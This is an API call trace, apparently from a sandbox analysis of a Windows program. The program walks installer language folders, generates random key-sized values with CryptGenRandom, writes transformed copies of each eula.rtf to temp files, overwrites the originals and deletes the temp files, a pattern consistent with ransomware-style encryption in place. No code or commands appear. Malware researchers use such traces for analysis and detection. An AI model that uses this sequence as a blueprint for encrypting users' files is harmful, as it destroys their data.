	[0236.460] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038" (normalized: "c:\\588bce7c90097ed212\\1038"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.460] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0236.460] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.460] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a91780f, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x119e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0236.460] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0236.461] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0236.461] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0236.461] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0236.461] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0236.461] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa)) returned 1
	[0236.461] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.462] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958)) returned 1
	[0236.463] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.463] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a91780f, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x119e)) returned 1
	[0236.463] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.463] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.463] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0) returned 0
	[0236.463] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0) returned 0
	[0236.464] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0236.464] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a5bf4 | out: lpMode=0xc0001a5bf4) returned 0
	[0236.464] GetFileType (hFile=0x198) returned 0x1
	[0236.464] GetFileType (hFile=0x198) returned 0x1
	[0236.464] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc0001a5c44 | out: lpFileInformation=0xc0001a5c44) returned 1
	[0236.464] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc0001a5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001a5c28) returned 1
	[0236.464] VirtualAlloc (lpAddress=0xc000260000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000260000
	[0236.465] ReadFile (in: hFile=0x198, lpBuffer=0xc000260000, nNumberOfBytesToRead=0x1dc3, lpNumberOfBytesRead=0xc0001a5b04, lpOverlapped=0x0 | out: lpBuffer=0xc000260000*, lpNumberOfBytesRead=0xc0001a5b04*=0x1bc3, lpOverlapped=0x0) returned 1
	[0236.469] ReadFile (in: hFile=0x198, lpBuffer=0xc000261bc3, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001a5b04, lpOverlapped=0x0 | out: lpBuffer=0xc000261bc3*, lpNumberOfBytesRead=0xc0001a5b04*=0x0, lpOverlapped=0x0) returned 1
	[0236.469] CloseHandle (hObject=0x198) returned 1
	[0236.469] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000202700 | out: pbBuffer=0xc000202700) returned 1
	[0236.469] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a480 | out: pbBuffer=0xc00021a480) returned 1
	[0236.469] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00023c501 | out: pbBuffer=0xc00023c501) returned 1
	[0236.470] VirtualAlloc (lpAddress=0xc000262000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000262000
	[0236.470] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\1a77645e53dd819a1a61c8119a433374" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\1a77645e53dd819a1a61c8119a433374"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0236.568] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a5c04 | out: lpMode=0xc0001a5c04) returned 0
	[0236.568] GetFileType (hFile=0x198) returned 0x1
	[0236.568] WriteFile (in: hFile=0x198, lpBuffer=0xc000262000*, nNumberOfBytesToWrite=0x1cc3, lpNumberOfBytesWritten=0xc0001a5bec, lpOverlapped=0x0 | out: lpBuffer=0xc000262000*, lpNumberOfBytesWritten=0xc0001a5bec*=0x1cc3, lpOverlapped=0x0) returned 1
	[0236.571] CloseHandle (hObject=0x198) returned 1
	[0236.621] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0236.628] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a5d74 | out: lpMode=0xc0001a5d74) returned 0
	[0236.628] GetFileType (hFile=0x198) returned 0x1
	[0236.628] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\1a77645e53dd819a1a61c8119a433374" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\1a77645e53dd819a1a61c8119a433374"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0236.629] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001a5d74 | out: lpMode=0xc0001a5d74) returned 0
	[0236.629] GetFileType (hFile=0x19c) returned 0x1
	[0236.629] VirtualAlloc (lpAddress=0xc000308000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000308000
	[0236.629] ReadFile (in: hFile=0x19c, lpBuffer=0xc000308000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000308000*, lpNumberOfBytesRead=0xc0001a5bd4*=0x1cc3, lpOverlapped=0x0) returned 1
	[0236.630] WriteFile (in: hFile=0x198, lpBuffer=0xc000308000*, nNumberOfBytesToWrite=0x1cc3, lpNumberOfBytesWritten=0xc0001a5b74, lpOverlapped=0x0 | out: lpBuffer=0xc000308000*, lpNumberOfBytesWritten=0xc0001a5b74*=0x1cc3, lpOverlapped=0x0) returned 1
	[0236.632] ReadFile (in: hFile=0x19c, lpBuffer=0xc000308000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000308000*, lpNumberOfBytesRead=0xc0001a5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0236.632] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\1a77645e53dd819a1a61c8119a433374" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\1a77645e53dd819a1a61c8119a433374")) returned 0
	[0236.633] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\1a77645e53dd819a1a61c8119a433374" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\1a77645e53dd819a1a61c8119a433374")) returned 0
	[0236.633] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\1a77645e53dd819a1a61c8119a433374" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\1a77645e53dd819a1a61c8119a433374")) returned 0x20
	[0236.633] CloseHandle (hObject=0x19c) returned 1
	[0236.633] CloseHandle (hObject=0x198) returned 1
	[0236.634] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\1a77645e53dd819a1a61c8119a433374" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\1a77645e53dd819a1a61c8119a433374")) returned 1
	[0236.756] SetEvent (hEvent=0x124) returned 1
	[0236.756] SetEvent (hEvent=0x190) returned 1
	[0236.756] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0) returned 0
	[0236.757] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0) returned 0
	[0236.757] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0236.757] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a5bf4 | out: lpMode=0xc0001a5bf4) returned 0
	[0236.757] GetFileType (hFile=0x198) returned 0x1
	[0236.757] VirtualAlloc (lpAddress=0xc00017c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00017c000
	[0236.758] GetFileType (hFile=0x198) returned 0x1
	[0236.758] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc0001a5c44 | out: lpFileInformation=0xc0001a5c44) returned 1
	[0236.758] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc0001a5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001a5c28) returned 1
	[0236.758] VirtualAlloc (lpAddress=0xc000318000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000318000
	[0236.759] ReadFile (in: hFile=0x198, lpBuffer=0xc000318000, nNumberOfBytesToRead=0x348f, lpNumberOfBytesRead=0xc0001a5b04, lpOverlapped=0x0 | out: lpBuffer=0xc000318000*, lpNumberOfBytesRead=0xc0001a5b04*=0x328f, lpOverlapped=0x0) returned 1
	[0236.762] ReadFile (in: hFile=0x198, lpBuffer=0xc00031b28f, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001a5b04, lpOverlapped=0x0 | out: lpBuffer=0xc00031b28f*, lpNumberOfBytesRead=0xc0001a5b04*=0x0, lpOverlapped=0x0) returned 1
	[0236.762] CloseHandle (hObject=0x198) returned 1
	[0236.762] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000937e0 | out: pbBuffer=0xc0000937e0) returned 1
	[0236.762] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000095500 | out: pbBuffer=0xc000095500) returned 1
	[0236.763] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082d01 | out: pbBuffer=0xc000082d01) returned 1
	[0236.763] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ccbf13a0b4b1f76f78bedb96f60255d2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ccbf13a0b4b1f76f78bedb96f60255d2"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0236.921] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a5c04 | out: lpMode=0xc0001a5c04) returned 0
	[0236.921] GetFileType (hFile=0x198) returned 0x1
	[0236.922] WriteFile (in: hFile=0x198, lpBuffer=0xc00031b500*, nNumberOfBytesToWrite=0x338f, lpNumberOfBytesWritten=0xc0001a5bec, lpOverlapped=0x0 | out: lpBuffer=0xc00031b500*, lpNumberOfBytesWritten=0xc0001a5bec*=0x338f, lpOverlapped=0x0) returned 1
	[0236.926] CloseHandle (hObject=0x198) returned 1
	[0236.959] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0236.962] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a5d74 | out: lpMode=0xc0001a5d74) returned 0
	[0236.962] GetFileType (hFile=0x198) returned 0x1
	[0236.962] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ccbf13a0b4b1f76f78bedb96f60255d2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ccbf13a0b4b1f76f78bedb96f60255d2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0236.962] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001a5d74 | out: lpMode=0xc0001a5d74) returned 0
	[0236.962] GetFileType (hFile=0x19c) returned 0x1
	[0236.962] VirtualAlloc (lpAddress=0xc000380000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000380000
	[0236.963] ReadFile (in: hFile=0x19c, lpBuffer=0xc000380000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000380000*, lpNumberOfBytesRead=0xc0001a5bd4*=0x338f, lpOverlapped=0x0) returned 1
	[0236.964] WriteFile (in: hFile=0x198, lpBuffer=0xc000380000*, nNumberOfBytesToWrite=0x338f, lpNumberOfBytesWritten=0xc0001a5b74, lpOverlapped=0x0 | out: lpBuffer=0xc000380000*, lpNumberOfBytesWritten=0xc0001a5b74*=0x338f, lpOverlapped=0x0) returned 1
	[0236.968] ReadFile (in: hFile=0x19c, lpBuffer=0xc000380000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000380000*, lpNumberOfBytesRead=0xc0001a5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0236.968] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ccbf13a0b4b1f76f78bedb96f60255d2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ccbf13a0b4b1f76f78bedb96f60255d2")) returned 0
	[0236.968] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ccbf13a0b4b1f76f78bedb96f60255d2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ccbf13a0b4b1f76f78bedb96f60255d2")) returned 0
	[0236.968] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ccbf13a0b4b1f76f78bedb96f60255d2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ccbf13a0b4b1f76f78bedb96f60255d2")) returned 0x20
	[0236.968] CloseHandle (hObject=0x19c) returned 1
	[0236.969] CloseHandle (hObject=0x198) returned 1
	[0236.970] VirtualAlloc (lpAddress=0xc0001fa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001fa000
	[0236.970] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ccbf13a0b4b1f76f78bedb96f60255d2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ccbf13a0b4b1f76f78bedb96f60255d2")) returned 1
	[0237.027] SetEvent (hEvent=0x190) returned 1
	[0237.027] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0) returned 0
	[0237.028] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0) returned 0
	[0237.028] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0237.028] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a5bf4 | out: lpMode=0xc0001a5bf4) returned 0
	[0237.028] GetFileType (hFile=0x198) returned 0x1
	[0237.028] GetFileType (hFile=0x198) returned 0x1
	[0237.028] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc0001a5c44 | out: lpFileInformation=0xc0001a5c44) returned 1
	[0237.029] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc0001a5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001a5c28) returned 1
	[0237.029] ReadFile (in: hFile=0x198, lpBuffer=0xc00025a600, nNumberOfBytesToRead=0x1163, lpNumberOfBytesRead=0xc0001a5b04, lpOverlapped=0x0 | out: lpBuffer=0xc00025a600*, lpNumberOfBytesRead=0xc0001a5b04*=0xf63, lpOverlapped=0x0) returned 1
	[0237.032] ReadFile (in: hFile=0x198, lpBuffer=0xc00025b563, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001a5b04, lpOverlapped=0x0 | out: lpBuffer=0xc00025b563*, lpNumberOfBytesRead=0xc0001a5b04*=0x0, lpOverlapped=0x0) returned 1
	[0237.032] CloseHandle (hObject=0x198) returned 1
	[0237.033] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002028c0 | out: pbBuffer=0xc0002028c0) returned 1
	[0237.033] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a580 | out: pbBuffer=0xc00021a580) returned 1
	[0237.033] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00023c701 | out: pbBuffer=0xc00023c701) returned 1
	[0237.033] VirtualAlloc (lpAddress=0xc00026c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00026c000
	[0237.034] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6eb6e1d0bd9f11140222b7597f180f8c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6eb6e1d0bd9f11140222b7597f180f8c"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.186] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a5c04 | out: lpMode=0xc0001a5c04) returned 0
	[0237.187] GetFileType (hFile=0x198) returned 0x1
	[0237.187] WriteFile (in: hFile=0x198, lpBuffer=0xc00025b900*, nNumberOfBytesToWrite=0x1063, lpNumberOfBytesWritten=0xc0001a5bec, lpOverlapped=0x0 | out: lpBuffer=0xc00025b900*, lpNumberOfBytesWritten=0xc0001a5bec*=0x1063, lpOverlapped=0x0) returned 1
	[0237.191] CloseHandle (hObject=0x198) returned 1
	[0237.200] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.202] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a5d74 | out: lpMode=0xc0001a5d74) returned 0
	[0237.202] GetFileType (hFile=0x198) returned 0x1
	[0237.202] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6eb6e1d0bd9f11140222b7597f180f8c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6eb6e1d0bd9f11140222b7597f180f8c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0237.203] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001a5d74 | out: lpMode=0xc0001a5d74) returned 0
	[0237.203] GetFileType (hFile=0x19c) returned 0x1
	[0237.203] VirtualAlloc (lpAddress=0xc00033e000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00033e000
	[0237.205] ReadFile (in: hFile=0x19c, lpBuffer=0xc00033e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00033e000*, lpNumberOfBytesRead=0xc0001a5bd4*=0x1063, lpOverlapped=0x0) returned 1
	[0237.205] WriteFile (in: hFile=0x198, lpBuffer=0xc00033e000*, nNumberOfBytesToWrite=0x1063, lpNumberOfBytesWritten=0xc0001a5b74, lpOverlapped=0x0 | out: lpBuffer=0xc00033e000*, lpNumberOfBytesWritten=0xc0001a5b74*=0x1063, lpOverlapped=0x0) returned 1
	[0237.208] ReadFile (in: hFile=0x19c, lpBuffer=0xc00033e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00033e000*, lpNumberOfBytesRead=0xc0001a5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0237.208] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6eb6e1d0bd9f11140222b7597f180f8c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6eb6e1d0bd9f11140222b7597f180f8c")) returned 0
	[0237.208] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6eb6e1d0bd9f11140222b7597f180f8c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6eb6e1d0bd9f11140222b7597f180f8c")) returned 0
	[0237.208] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6eb6e1d0bd9f11140222b7597f180f8c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6eb6e1d0bd9f11140222b7597f180f8c")) returned 0x20
	[0237.208] CloseHandle (hObject=0x19c) returned 1
	[0237.209] CloseHandle (hObject=0x198) returned 1
